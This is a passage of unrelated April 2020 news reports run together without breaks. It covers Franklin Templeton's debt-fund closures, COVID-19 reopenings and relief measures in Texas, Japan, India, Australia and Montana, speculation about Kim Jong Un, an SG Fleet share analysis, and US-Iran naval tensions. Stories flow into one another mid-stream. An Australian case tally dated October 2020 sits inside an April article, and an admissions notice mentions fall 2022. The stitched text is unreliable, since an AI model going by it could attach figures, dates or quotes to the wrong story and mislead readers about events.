attracting penal actions for failing in their duties. For instance, in December last year, Sebi slapped Rs25 lakh fine on ICRA, CARE and India ratings for lapses in assigning credit ratings to non-convertible debentures of IL&FS. The Franklin Templeton mess has happened despite the stamp of rating agencies on the investment papers. AA/A+ rated papers are lower quality than AAA papers but still indicates holders capacity to pay obligations. There is a long list of AA and below rated papers in Franklins list. According to a Mint analysis, the six debt schemes which were wound up on Thursday have high exposure to AA and below rated paper, in one scheme -- Franklin India Low Duration Fund the exposure is as high as 64.7 percent, Dynamic Accrual Fund has 44.6 percent, Credit Risk Fund 50.2 percent, Short Term Income Plan 58.9 percent, Ultra Short Term Bond Plan 23.9 percent and Income Opportunities Fund 41.3 percent. Mutual funds are (not always) safe In its statements after the closure of the funds, Franklin Templeton has blamed COVID-19, illiquid markets and redemptions as the reason for pushing the stop button. True. Markets have been turning illiquid. The depth of Indian corporate debt market is far less compared with global peers. But Templetons way of managing investor money, risk diversification strategy, and the selection of papers the fund chose to invest are questionable. Most of the investments that these funds made under the credit risk category were for AA and below rated companies. The cash flows of these companies were severely impacted in a slowing economy. These include firms like Piramal Capital and Housing Finance Ltd (PCHFL), and Essel Infraprojects, which have 100 percent exposure to Franklin Templetons funds. SBFC Finance, another firm in Franklins list, posted a net profit of Rs 24.4 crore in March, 2019 and has a total debt of Rs 842 crore. High concentration in low-rated papers boomeranged? Santosh Kamath, the fund manager of Franklin Templeton, was once a celebrity among his ilk. There was a time when no one would think twice before handing him a cheque. Kamath carved a new market for debt investors with high-risk AA and below papers. The logic was these funds are unique for investors with high risk appetite for a short-duration. But what investment logic drives a fund manager to be the sole lender to one third of the companies it has invested? Franklin Templeton was the sole lender to 26 of 88 top borrowers in its six debt schemes, according to a report by B&K Securities. In other words, these firms had 100 percent exposure to Franklin schemes for overall borrowing of Rs 7,697 crore. The names include Small Business Fincredit, Incred Financial Services, India Shelter Finance Corp, Renew Solar Power, Xander Finance, OPJ Trading Pvt Ltd, Vistaar Financial Services and so on. Clearly, Kamath failed to diversify the portfolio risk and stretched too far in search of lucrative yields. Kamath designed the portfolio for good times, but didnt prepare for the bad times. The cardinal rule every investment manager dealing with public money expect the best and prepare for the worst was given a convenient miss. As Moneycontrol reported earlier , the logic of selection of some of the low-rated papers are also questionable. If high risk, high return is criteria is surprising. Franklin invested in Edelweiss Agri Value Chain papers at a coupon rate of 8.7 percent, maturing in 2027; Coastal Gujarat Power papers (9.9 percent, maturing in 2028), Nuvoco Vistas Corp (8.57 percent, 2020) and Uttar Pradesh Power Corporation (10.15 percent, maturing in 2021). It also put money into several lesser-known companies such as Aadarshini Real Estate Developers, Small Business Fincredit, Rishant Wholesale Trading, Northern ARC Capital, and so on. In the backdrop of Franklin fiasco, there are calls for investigation into Kamath's investment decisions from experts and investors. AMFI does damage control Franklin fiasco also raises questions on the efficacy of self-regulation of the mutual fund industry. Association of Mutual Fund Industry (AMFI) was quick to assure investors that their money is safe and Franklin is a one-off case. This is unlikely to calm investors. The tragedy at Franklins six schemes didnt happen overnight. The redemptions began long back in August 2019. The total assets under management (AUM) under the credit risk category declined from Rs 80,756 crore in April 2019 to Rs 58,361 crore in March, 2020, according to AMFI data. What was AMFI, as an industry body, doing to safeguard investors wealth? Also, what is the assurance that similar collapse wont recur in other schemes? Franklin isnt a one-off case. What does the impact of Franklin on the industry? According to B&K, it is important for investors not to panic sell and assess the liquidity position of the individual fund house. Of the total fixed income AUM of Rs 13 lakh crore, about 83 percent is invested in high rated bonds. But investors are unlikely to merely look at the statistics for relief. The trust on high-risk funds is lost. There could be an exodus of money to safer assets. Within the next 12 months, Franklin Templeton has Rs 8,084 crore worth of maturities lined up, said the report. This include names like Edelweiss, ReNew Power, JM Fin and Munjal Group. PMC, Franklin which is next? There is a larger question of investor protection in India. Regulators often hide behind technicalities when unruly executives in financial institutions take investors for a ride. Franklin is not the first, and wont be the last. Take for instance, the case of PMC bank, where investors money is still stuck. Similarly, Yes Bank, one of the leading private sector banks too collapsed under accumulated bad loans allegedly due to corruptive business practices followed by previous management under Rana Kapoor. The bank was bailed out two months ago by a clutch of banks. The point here is that be it PMC, Franklin or PMC, regulators have not been able to act in advance to protect investor wealth. The underlying, grim message is that the Franklin Templeton episode wont be the last. (Financials of SBFC Finance updated) Texas becomes the latest state to allow theatres to open, even though the major chains are not expected to restart business until at least July Washington DC: Texas Governor Greg Abbott has announced that movie theatres will be allowed to reopen on Friday (local time), along with restaurants, retail stores and museums. (Click here to follow LIVE updates on coronavirus outbreak) According to Variety, Texas becomes the latest state to allow theatres to open, even though the major chains are not expected to restart business until at least July. Georgia allowed its theatres to reopen on Monday, though as yet it appears that few, if any, have chosen to do so. Many companies would choose to remain closed, Abbott acknowledged and said, "This is permission to open, not a requirement." The Governor of Texas added that the theatres and other establishments would be allowed to operate at only 25 percent capacity, which may make it uneconomical for many businesses to operate. Also, without the support of major studio releases, the major theatre chains are unlikely to reopen. And in turn, the movies are unlikely to be distributed until theatres across the country are able to screen them. Abbott also said that barbershops, hair salons, bars and gyms would not be allowed to reopen under the initial phase. However, he said he hoped they would reopen by mid-May. Other states including South Carolina, Oklahoma and Alaska, have also taken steps to reopen. Many states have issued 'stay at home' orders that expire on 30 April. Texas, with a population of nearly 30 million, is by far the largest state to reopen so far. Source: Xinhua| 2020-04-27 22:44:59|Editor: huaxia Video Player Close TOKYO, April 27 (Xinhua) -- The Japanese government on Monday submitted a reworked supplementary budget to the parliament to finance a number of emergency measures to help mitigate the overall economic blow from the coronavirus pandemic. "The virus infections have been exerting an enormous impact on the domestic and overseas economies, and the extremely severe situation is expected to continue until we can see signs of the outbreak coming to an end," Japan's Finance Minister Taro Aso said in the lower house, calling for the budget's speedy approval. "We've decided to take every possible policy measure such as fiscal, financial and taxation steps, without being bound by precedents," Aso said, vowing to "fully protect employment, businesses and livelihoods." On April 20, Japan's Cabinet approved an upwardly revised extra budget of 25.69 trillion yen (240 billion U.S. dollars) for fiscal 2020, compared to an initial 16.81 trillion yen extra budget decided earlier in April. In a rare move, the initial emergency and extra budget had to be reworked to cover the 100,000 yen nationwide cash handout program to around 126 million people in Japan, at a cost of 8.88 trillion yen, along with other allocations aimed at mitigating the economic fallout of the pandemic here. Japanese Prime Minister Shinzo Abe announced on April 17 that the government will provide a 100,000 yen cash handout to all citizens regardless of their income level to help them deal with the economic impact of the coronavirus. The one-time cash handout replaces an earlier plan to provide 300,000 yen to households whose income had fallen to a certain level as a result of the virus. Abe's ruling coalition Komeito party ally had initially floated the idea, and leaned on the prime minister to agree to the plan and bring it to fruition quickly, saying that the blanket 100,000 yen cash handout plan should replace the previous 300,000 yen plan. The allocation for the cash handout will be financed by issuing more deficit-covering bonds. The reworked budget is likely to be approved by the lower house of parliament on Wednesday, a rare time for the government to convene being that it is a national holiday, and enacted by the upper house of parliament a day later. The government is planning for the cash handouts to be given out to each of its residents by the end of May. The emergency package also allocates funds to the tune of 1 trillion yen to local governments so they can provide fiscal support to businesses complying with local authorities' requests to shutter their operations until the nationwide state of emergency comes to an end on May 6, under the government's current plans. In addition, the budget has also been compiled to make provisions so that the country's supply of the anti-influenza drug Avigan, shown to have positive effects in treating the symptoms of some COVID-19 patients, can be increased threefold at a cost of 13.9 billion yen. The extra budget will also help fund a record high overall economic package that was increased from an initial 108.2 trillion yen to 117.1 trillion yen, in part, so the emergency funding could cover the government's hasty decision to provide across-the-board cash handouts of 100,000 yen to those living in Japan. The government's latest supplementary spending package far eclipses the package compiled in the wake of the 2008 financial global crisis when the government rolled out an emergency stimulus package worth 56.8 trillion yen to cushion the downside effects. After the sales tax was raised from 8 to 10 percent here last October, a 26 trillion yen stimulus package was also approved thereafter to help counter the negative effects, also considerably less than the latest measures. (1 U.S. dollar equals 107.02 Japanese yen). Enditem The Kohima bench of the Gauhati High Court on Tuesday directed the Nagaland government to set up two Covid-19 testing labs within 10 days. Acting on a PIL filed by V Suokhrie, a division bench of Justice Songkhupchung Serto and Justice S. Hukato Swu ordered the Nagaland government to make at least two testing labs of Covid-19 functional within 10 days. The court also directed the government to make every effort to establish other labs at strategic places in the state to facilitate free testing in the future. Follow coronavirus latest updates here. Nagaland doesnt have a single testing lab for Covid-19 and all its samples are sent to labs in Assam. Till Monday, 629 samples from the state had been tested. The lone Covid-19 case from the state, a 33-year businessman from Dimapur is undergoing treatment at the Guwahati Medical College Hospital (GMCH). He has also been counted among the Covid-19 patients of Assam by the Union health and family welfare ministry. The PIL was filed seeking the courts indulgence on certain gaps which the respondents might have overlooked while dealing with Covid-19 preparedness in Nagaland, said Neiteo Koza, counsel for the petitioner. Though an IAF aircraft landed in Dimapur on April 16 with equipment needed to set up bio-safety level 3 (BSL-3) lab in Nagaland to test samples of suspected Covid-19 patients, the facility has not yet started functioning. In its order, the HC asked the state government to provide sufficient PPE kits to all persons involved in treatment of Covid-19 patients and looking after persons in quarantine centres. Till Monday 31 people were in quarantine in the state and 1,090 people had been screened, Nagaland health minister S Pangnyu Phom said. The bench also directed that the state government should increase the number of ICU facilities and ventilators, provide ambulances to Covid-19 patients at the earliest and ensure that there is no shortage of trained personnel. The state received another batch of equipment to set up a BSL-3 testing lab at Dimapur and some additional equipment for the BSL-2 lab in Kohima on Monday. The health department also received 10 new ambulances on Tuesday which will cater exclusively to Covid-19 patients and those in quarantine, Phom said. The bench asked the government to ensure that the two hospitals - one in Dimapur and one in Kohima are dedicated for treatment of Covid-19 patients are fully equipped and functional within two weeks. SHARE THIS ARTICLE ON External tests and exams Test optional MSU is test optional, which means that prospective students have the opportunity to apply without submitting an ACT or SAT score. The following exceptions will apply but are subject to change: International students are not required to submit an ACT or SAT score, but must still meet English language proficiency requirements. IB, AP, A-Level We will honor the plans set forth by International Baccalaureate (IB), Advanced Placement (AP), GCE A-level examination boards and other institutions for final documentation of a student's examinations and work. MSU will grant credit, where appropriate, based on the scores we receive from these organizations. English language tests for international students Due to cancellations of TOEFL and IELTS tests, MSU will be temporarily accepting the Duolingo English Test, the TOEFL iBT Home Edition and the IELTS Indicator tests from applicants affected by these closures who are applying to begin their studies in fall semester 2022. In addition, MSU will be expanding the ability for students to receive provisional admission. If students are able to take a test that meets our regular English language proficiency requirements prior to enrollment, we will update their admission status to regular. The Uttar Pradesh government has begun sending students of state's different districts, staying and studying in Allahabad, to their native places, an official said Tuesday. "Around 50 buses have departed from Allahabad. It will continue today and tomorrow. The health check-up of students, who board the bus, will be done. Only after the health check-up, they will be allowed to board the bus. After they reach their destination, another health check-up should be done," UP's Additional Chief Secretary (Home and Information) Awanish Awasthi told reporters here. People coming from other states will have to spend 14-day quarantine at shelter homes in the state, Awasthi said. "The labourers who arrived from Haryana late Monday night, have been kept in quarantine. Discussion for bring back UP workers back from other states have started, said Awasthi Talking of arrangements to bring back workers stuck up in other states, he said, The chief minister has directed that it should be publicised that people who are interested in coming back to UP, should contact their respective districts administration in other states and report at quarantine centres, so that their medical examination is done. And then, the arrangements can be made to bring them from the quarantine centres," Awasthi said. He added that people coming to UP from other states will have to undergo pool testing for COVID- infection. The UP chief minister has also asked officials to take a pledge to break the corona transmission chain, said Awasthi. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Four more residents at an aged care home in Sydney's west have died after contracting coronavirus, taking the nation's death toll to 88. In total, 11 residents at the Newmarch House in Penrith, at the foot of the Blue Mountains, have now died from the deadly respiratory infection. The latest fatalities take Australia's death toll to 88, while 6,729 people have been infected and at least 5,624 have recovered. Anglicare Sydney, who operate the nursing home, released a statement on Tuesday. 'This is a tragic time not only for the families who have lost their loved ones but for other residents and families,' the statement read. 'It is also taking a deep toll on our staff who cared for and knew these residents and families so well.' So far, 11 residents of Anglicare's Newmarch House (pictured) in western Sydney have died from coronavirus Mary Watson, whose 93-year-old mother Alice has tested positive for COVID-19 in the facility, said residents were 'dropping like flies'. It's heartbreaking that 'Anglidontcare' would just leave us in this predicament,' she said. 'People are dropping like flies, and we don't know anything.' 'I don't want the last time I see my mum to be when she's taking her last breaths.' The outbreak at the facility was first identified just two weeks ago, after a staff member tested positive. The aged care worker worked six consecutive days while suffering mild respiratory symptoms. CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement She is said to be 'mortified and distraught' that she had been the catalyst for the cluster, which spread rapidly through the vulnerable residents at the home. Medical officials have called for workers, especially those who care for vulnerable people, to stay home if they feel even mildly ill. A spokesman for the nursing home said on the basis of 'the best advice available', Anglicare believes the centre is still some weeks away from being completely free of the virus. NSW chief medical officer Kerry Chant on Tuesday also confirmed another staff member had contracted the disease overnight. 'There has been one new case in a staff member at Newmarch House which brings the total to 54 cases, including 20 staff and 34 residents,' Ms Chant told reporters on Tuesday morning. 'This coronavirus pandemic has been unprecedented in terms of its scale and impact across the world,' Anglicare chief executive Grant Millard said in a statement. 'But more importantly we know what a devastating effect it is having on older people.' At least a few hair salon owners in Missoula are disappointed and frustrated that the local health department has imposed stricter rules that override Gov. Steve Bullocks decision to allow those types of businesses to re-open here. They're especially piqued because other counties in the state have allowed those businesses to open and clients are now traveling for a haircut. Governor Bullocks decision was based on science and not fear and we feel strongly that with proper safety protocol, including utilizing masks and gloves and also limiting entry into the building as well as proper social distancing, we can safely return to business, said Angel Herring. She's the owner of Burtons Classic Hair Salon in Missoula, which she says is the largest independent salon in town and employs 20 people. She wrote a letter to the Missoula-City County Health Department last week urging them to not interfere with Bullocks directive. Last week, Bullock announced that because Montana has done so well in preventing a large-scale outbreak of COVID-19, certain types of businesses were allowed to reopen this week. Some non-essential retail businesses could open on Monday while bars, restaurants and casinos are allowed to open under certain restrictions statewide after May 4. Bullocks directive stated that in this Phase One, salons and tattoo parlors can open but customers must be screened for symptoms and everyone needs to wear face masks when possible with stations spaced six feet apart. However, counties still have discretion to supersede Bullocks directive, which includes the following line: "As with prior Directives, nothing in this Directive prohibits local public health authorities from adopting more restrictive approaches based on local need." Late last week Ellen Leahy, the director of the Missoula City-County Health Department, did just that. After consulting with local physician advisers, elected officials and the local public health board, Leahy issued a county directive that places more restrictions on business openings than the one Bullock sent out. Among other things, the local Missoula County order states that hair salons and businesses that provide grooming, piercing, body art, massage and all other cosmetologists, estheticians and manicurists shall remain closed until Phase Two." There has been no date set for that yet. Among other reasons, Leahy cited Missoulas large population and stature as a medical hub as reasons to be more cautious. But John Herring, who co-owns Burtons Classic Hair Salon with his wife, Angel, doesnt agree with Leahys decision. "We were kind of caught off guard," he said. He said Yellowstone County and Gallatin County didn't restrict the opening of hair salons, even though he said COVID-19 cases are "much more prevalent" in those places. "I think it's confusing to go above and over the state phasing," he said. "I think it sends a mixed message. I know our clients are driving to Polson, to Hamilton to Butte. We have a stylist that's actually going to Kalispell to do hair." That, he said, is counterintuitive to stopping the spread. He feels like hair salons got singled out with no opening date set and noted that Billings and Bozeman are also medical hubs. He also noted that to get licensed as a hairdresser, one has to complete 1,600 hours of education that is largely focused on sanitation. He said his business was fully prepared to have social distancing measures in place, and they were going to use masks and gloves. He also said they werent going to offer face-to-face services, like eyelash extensions. He learned during the last recession that people will go hungry before they forego beauty services, so that means many people are driving to surrounding counties to get the services. "Its ironic that the Missoula County Health Department is ignorantly potentially spreading the disease this way, he said. "Why can people gather in groups of 10 with no social distancing required but not get their hair cut? Why can farmers markets of up to 25 people get together (with hoped-for social distancing) and no one can get their hair cut?" He said people can go to Target, Ace Hardware, WalMart, Home Depot and "countless other stores and rub shoulders with strangers in the same aisle, ungloved and unmasked checkers taking our paper dollars yet cant get a haircut." "Why can I plan to go into a bar and restaurant, eat and drink and play keno in a tightly closed environment but no one can get their hair cut?" he said. "Why does Missoula County think its different than the rest of the state? Leahy said her department didnt know Bullock was going to include hair salons and similar businesses in Phase One. She said they reviewed a lot of guidance from Johns Hopkins University, which ranks salons as having a medium to high risk for exposure because of both proximity of customers and workers and also the duration of time theyre in proximity. Its all about that six foot distance requirement, she said. Leahy also said many people have called to argue that Gallatin County has had more total cases than Missoula County and is still allowing hair salons to open, but Leahy wants to remind people that Missoula County has nine active cases while Gallatin County only has one. Cindy Farr, the incident commander for the Missoula City-County Health Department's coronavirus response team, also said they didnt make the decision without a lot of input. The decisions we made were not arbitrary, she said in her daily briefing on Monday. "The businesses not allowed to open until Phase Two were all jobs with close physical contact and no way to social distance. She noted that Missoula made the mistake of re-opening business too soon during the 1918 Spanish Flu pandemic, and a second outbreak occurred because large groups of people congregated downtown. A gradual opening is the best way to control a disease like this, she said. We did not go as stringent as many Missoulians wanted. We got many requests that we continue with the shelter-in-place order. We have to pick a plan that best protects the publics health. Morgan Hollis, the owner of Boom Swagger Salon in Missoula, said at the very least she and other owners would like a date. Like a lot of (other hair salon owners) I was kind of disappointed that we didnt get to open and kind of frustrated, she said. We realize we are in close contact with people and (the health department) is just thinking of the safety of us and the community. But we bought masks and got gloves and infrared thermometers and everything we need, and now were having to call clients who are frustrated. Shes talked with one salon owner who has at least one client traveling to Ravalli County for service. Everyone understands we dont want to go backward, but its kind of a catch-22 because Ive talked with other salon owners and I personally feel like were taking huge strides (in sanitation and social distancing), and I dont know if that is being reflected in what the county thinks were going to do, she said. She noted that her staff has to take written and practical exams just to get certified. Those exams are almost 100% safety and sanitation, she said. Andrea Caffrey, the owner of Canvas Salon, said she wasn't going to open this week anyway due to safety concerns. "I understand people have no money and need to go back to work, so I harbor no bad feelings for anyone who wants to go back," she said. "But personally I wasnt ready." Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A 45-year-old woman and her 22-year-old daughter from Madhya Pradesh, who were discharged after recovering from COVID-19 disease, have volunteered to give their blood plasma for treatment of seriously ill patients, a senior official said on Tuesday. Both the women from Jabalpur were among the first batch of four persons from the state who had tested positive for coronavirus on March 20, Jabalpur district Collector Bharat Yadav told PTI. "The woman and her daughter who recovered from COVID- 19 disease have come forward to donate their plasma to treat some seriously-ill patients in Bhopal," he said. Yadav said the district administration is making efforts to introduce plasma therapy to treat COVID patients. In a related development, state-run Netaji Subhash Chandra Bose Medical College and Hospital, based in Jabalpur, has approached the Indian Council of Medical Research (ICMR) seeking permission for using the plasma therapy. "We have approached the ICMR for permission to use plasma therapy to treat COVID patients," said Netaji Subhash Chandra Bose Medical College and Hospital dean Dr PK Kasar. He said the plasma therapy was currently used for treating burn cases. Convalescent Plasma Therapy is an experimental procedure for COVID-19 patients. In this treatment plasma, a blood component, from a cured COVID-19 patient is transfused to a critically ill coronavirus patient. The blood of a person who has recovered from COVID-19 develops antibodies to battle against the virus. This therapy uses antibodies from the blood of a cured coronavirus patient to treat another critical patient. Earlier in the day, Union Health Ministry said the plasma therapy is at experimental stage and there is no evidence yet to support that it can be used as treatment for COVID-19. Health Ministry Joint Secretary Lav Agarwal said currently there are no approved therapies for COVID-19 and there is not enough evidence to claim that plasma therapy can be used for treatment of the disease. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Fear of catching the coronavirus could have kept North Korean leader Kim Jong Un away from state ceremonies for a key holiday in mid-April, a South Korean minister said on Tuesday as speculation swirled over Kims whereabouts and health. The speculation erupted following Kims unprecedented absence from public ceremonies on the April 15 birth anniversary of his grandfather and founder of the country, Kim Il Sung. Kim has not been seen in public since. The last time official media in the secretive North Korean state reported on Kims whereabouts was when he presided over a meeting on April 11, but there have been near-daily reports of him sending letters and diplomatic messages. Click here for the complete coverage of the Covid-19 pandemic South Korean officials emphasise they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. North Korea has said it has no confirmed cases of the coronavirus, but given the fact that the country has taken stringent steps to head off an outbreak, Kims absence from the ceremonies is not particularly unusual, Unification Minister Kim Yeon-chul, who oversees North Korea engagement, told lawmakers. It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns, the minister said at a parliamentary hearing. Click here for the latest updates from the coronavirus outbreak He said there were at least two instances since mid-January where Kim Jong Un was out of sight for nearly 20 days. I dont think thats particularly unusual given the current (coronavirus) situation. The unification minister described reports that Kim had undergone a heart procedure, and that a Chinese medical team had travelled to North Korea, as fake news. Also Read: Not just Kim Jong Un: A look at past disappearances of North Korean leaders, officials Citing three people familiar with the situation, Reuters reported on Saturday that China had dispatched a team to North Korea including medical experts to advise on Kim Jong Un, though it was unclear what the trip signalled in terms of Kims health. U.S. President Donald Trump said on Monday he has a good idea how Kim Jong Un is doing and hopes he is fine, but would not elaborate. Japanese Prime Minister Shinzo Abe said he was aware of reports on Kims health and he was paying close attention to developments. Also Read: South Koreas ministers say they know North Korean leader Kim Jong Uns location North Korea had cancelled some large events, and imposed a border lockdown and quarantine measures in an effort to prevent an outbreak of the coronavirus. But if Kim Jong Un is hiding out due to fears surrounding COVID-19, it would puncture a hole in the state media narrative of how this crisis has been perfectly managed, said Chad OCarroll, CEO of Korea Risk Group, which monitors North Korea. If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim, he said. SIGNS OF LIFE An authoritative source familiar with U.S. intelligence reporting said on Monday it was entirely possible Kim had disappeared from public view to avoid exposure to COVID-19 and the sighting of his presidential train in the coastal resort area of Wonsan did suggest he may be there or have been there recently. But the source said that since there was no authoritative backing for such a conclusion, U.S. agencies were also still considering the possibility Kim might be ill, even seriously. 38 North, a Washington-based North Korea monitoring project, said on Saturday that satellite images from last week showed a special train that was probably Kims at Wonsan, lending weight to reports he had been spending time in the resort area. Thae Yong-ho, a former North Korean diplomat who defected to South Korea in 2016, said that the train could be a deception tactic used by North Korea to mask Kims movements. North Korea always perceives that U.S. spy satellites are monitoring the North and is prepared for it, he said in a post on Facebook. North Korean media reports suggest that Kim is still carrying out his duties, Unification minister Kim said, although some experts say they are not necessarily conclusive. I agree with the South Korean governments assessment that there is no reason to think Kim Jong Un is not performing his duties, said Rachel Minyoung Lee, a former North Korea open source intelligence analyst for the U.S. government. That said, I would not read too much into letters signed by Kim Jong Un. I would guess that most of them are not written by him anyway. (Reporting by Hyonhee Shin and Josh Smith; Additional reporting by Sangmi Cha in Seoul, and Mark Hosenball in Washington; Editing by Raju Gopalakrishnan & Simon Cameron-Moore) If you love investing in stocks you're bound to buy some losers. But the long term shareholders of SG Fleet Group Limited (ASX:SGF) have had an unfortunate run in the last three years. Unfortunately, they have held through a 67% decline in the share price in that time. The more recent news is of little comfort, with the share price down 50% in a year. The falls have accelerated recently, with the share price down 48% in the last three months. But this could be related to the weak market, which is down 27% in the same period. Check out our latest analysis for SG Fleet Group While the efficient markets hypothesis continues to be taught by some, it has been proven that markets are over-reactive dynamic systems, and investors are not always rational. One way to examine how market sentiment has changed over time is to look at the interaction between a company's share price and its earnings per share (EPS). During the three years that the share price fell, SG Fleet Group's earnings per share (EPS) dropped by 0.2% each year. The share price decline of 31% is actually steeper than the EPS slippage. So it's likely that the EPS decline has disappointed the market, leaving investors hesitant to buy. The less favorable sentiment is reflected in its current P/E ratio of 5.66. You can see how EPS has changed over time in the image below (click on the chart to see the exact values). ASX:SGF Past and Future Earnings April 27th 2020 Dive deeper into SG Fleet Group's key metrics by checking this interactive graph of SG Fleet Group's earnings, revenue and cash flow. What About Dividends? It is important to consider the total shareholder return, as well as the share price return, for any given stock. The TSR incorporates the value of any spin-offs or discounted capital raisings, along with any dividends, based on the assumption that the dividends are reinvested. It's fair to say that the TSR gives a more complete picture for stocks that pay a dividend. In the case of SG Fleet Group, it has a TSR of -59% for the last 3 years. That exceeds its share price return that we previously mentioned. This is largely a result of its dividend payments! Story continues A Different Perspective While the broader market lost about 15% in the twelve months, SG Fleet Group shareholders did even worse, losing 45% (even including dividends) . However, it could simply be that the share price has been impacted by broader market jitters. It might be worth keeping an eye on the fundamentals, in case there's a good opportunity. Unfortunately, last year's performance may indicate unresolved challenges, given that it was worse than the annualised loss of 8.2% over the last half decade. We realise that Baron Rothschild has said investors should "buy when there is blood on the streets", but we caution that investors should first be sure they are buying a high quality business. While it is well worth considering the different impacts that market conditions can have on the share price, there are other factors that are even more important. For example, we've discovered 3 warning signs for SG Fleet Group that you should be aware of before investing here. Of course, you might find a fantastic investment by looking elsewhere. So take a peek at this free list of companies we expect will grow earnings. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on AU exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Four IRGCN vessels next to the guided-missile destroyer USS Paul Hamilton in the Gulf, April 15, 2020. /Reuters By Wang Jin The confrontation between the US and Iran hasnt been mitigated amid the global fight against the COVID-19 pandemic. On April 15, eleven vessels from the Irans Islamic Revolutionary Guard Corps (IRGC) approached the US Coast Guard (USCG) vessels in the Persian Gulf, reportedly within just ten meters away from US patrol vessel Mauis bow. The US Secretary of Defense Mark Esper said the US military will stay on alert and be fully prepared to counter any threat and rival. Denying the accusations, Iran said its maritime forces were just having a routine training when encountering unprofessional and provocative maneuvers from American vessels. US media reported that Iran also successfully launched a military satellite on April 22, which the US Secretary of State Pompeo said was a blatant breach of the UN Security Councils resolution, adding that Iran should be responsible for what it did. President Trump tweeted that he had instructed the US Navy to "shoot down and destroy any and all Iranian gunboats if they harass our ships at sea". Gen. John Hyten, Vice Chairman of the Joint Chiefs of Staff, said I like that the president warned an adversary. We know what that line is and we will respond. There have been constant frictions between Washington and Tehran and the following dynamics are worth our close attention. First, confrontation in the field of military security wont be mitigated amidst the COVID-19 pandemic. As the world is being afflicted by the novel coronavirus, the military conflicts once again remind us that military security issues have never left but remain the fundamental factors of the international landscape. Truce for the sake of fighting the virus is just wishful thinking by the pacifists, whereas the conflicting parties are more focused on how to expand their influence during the pandemic. Second, the US-Iran friction has become normal. The relationship between Washington and Tehran plummeted after a series of frictions in 2019. The US Department of State designated IRGC as a foreign terrorist organization, the US Secretary of State Pompeo announced a suspension of licenses to the countries importing Iranian petroleum, and the White House has repeatedly accused Iran of attacking oil tankers in the Gulf and Saudi Arabias oil production facilities. Iran, in response, has shot down American unmanned aerial vehicles (UAV). Kataib Hezbollah (KH), a pro-Iran militia group in Iraq, fired more than 30 rocket projectiles to an American base at the end of last year, killing one American soldier and wounding another four. In response, the US military killed tens of Iraqis during an airstrike of KH, prompting the Iraqi people to besiege and assault the US embassy. Iran also went beyond the Iranian nuclear agreement in May, July, September, and November. In early 2020, Maj. Gen. Qassim Suleimani, commander of IRGCs Quds Force, was killed during a drone attack authorized by Trump, after which Iran announced to halt its fulfillment of the Iranian nuclear agreement and launched missiles to the American base in Iraq. Later Trump gave a speech that cooled down the escalated mutual retaliation between the two sides and get a temporary grip on their tension. Both the US and Iran achieved their goals during the several rounds of confrontations in 2019 and early 2020. On Irans side, the country held the bottom line of equivalent revenge but its revenge hasnt ended. On the American side, its voters hoped to maintain a tough stance on Iran but didnt want a war with it. Although Washington and Tehran averted a military conflict for the time being, their confrontation and skirmishes will last a long time given the shattered mutual trust. Third, considering the current situation, neither the US nor Iran intends to engage in a large-scale war. Still feeling the repercussions from the Iraqi war and the Afghan war, the Trump administration hopes to withdraw from the Middle East. At present, to win the 2020 re-election through fighting the COVID-19 pandemic and recovering the economy has been listed as its top priorities this year. Therefore, Trump has no intention of waging a war against Iran, while Iran , in order to maintain its regime, wont easily start a war either due to its inferior strength. Every time there is a crisis with Iran, the US responds by increasing troops on a large scale, which, however, is only aimed at deterrence and defense as it has to make a gesture anyway without engaging in a war. The pandemic has taken a heavy toll on the US military, with a sharply rising number of infections and clustered cases on several aircraft carriers. The prolonged frictions between the US and Iran are actually a severe test on the US militarys war preparedness. The US Secretary of Defense Esper previously said he hoped to recall troops from the Middle East and other regions so that they can concentrate on addressing the challenges from China and Russia, but his wish may hardly come true given Washingtons lasting antagonism with Tehran. (The author is an associate researcher at the Institute of American Studies, China Institutes of Contemporary International Relations) Key workers who lost their lives in the coronavirus pandemic have been remembered across the nation with a minutes silence. On Tuesday, thousands paused at 11am in tribute to the sacrifice made by those on the front line, from doctors and nurses to carers, cleaners, porters and bus drivers. Political leaders were among those to take part, as were members of the general public. Doctors and nurses around the country also took a brief pause from their work to stand in silence and remember colleagues they have lost to the virus. Prime minister Boris Johnson, who has just returned to work after recovering from Covid-19, stood in silence alongside cabinet secretary Mark Sedwill and chancellor Rishi Sunak inside 10 Downing Street. Afterwards, Mr Johnson tweeted: This morning I took part in a minute's silence to remember those workers who have tragically died in the coronavirus pandemic. The nation will not forget you. Elsewhere, Scotlands first secretary, Nicola Sturgeon, stood outside St Andrews House in Edinburgh, while Welsh first minister, Mark Drakeford and the health minister, Vaughan Gething, marked the silence at government headquarters in Cardiff. Flags were also flown at half-mast outside hospitals and ambulance headquarters, and London underground and bus networks were brought to a halt. Silence for key workers who lost lives to coronavirus Show all 30 1 /30 Silence for key workers who lost lives to coronavirus Silence for key workers who lost lives to coronavirus Staff react outside Salford Royal Hospital in Manchester during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak PA Silence for key workers who lost lives to coronavirus Staff inside Camberwell bus depot in London, during a minute's silence PA Silence for key workers who lost lives to coronavirus NHS staff at the Mater hospital in Belfast, during a minute's silence to pay tribute to the NHS staff and key workers who have died during the coronavirus outbreak. PA Silence for key workers who lost lives to coronavirus Shoppers observe a minute's silence in Tescos in Shoreham Getty Silence for 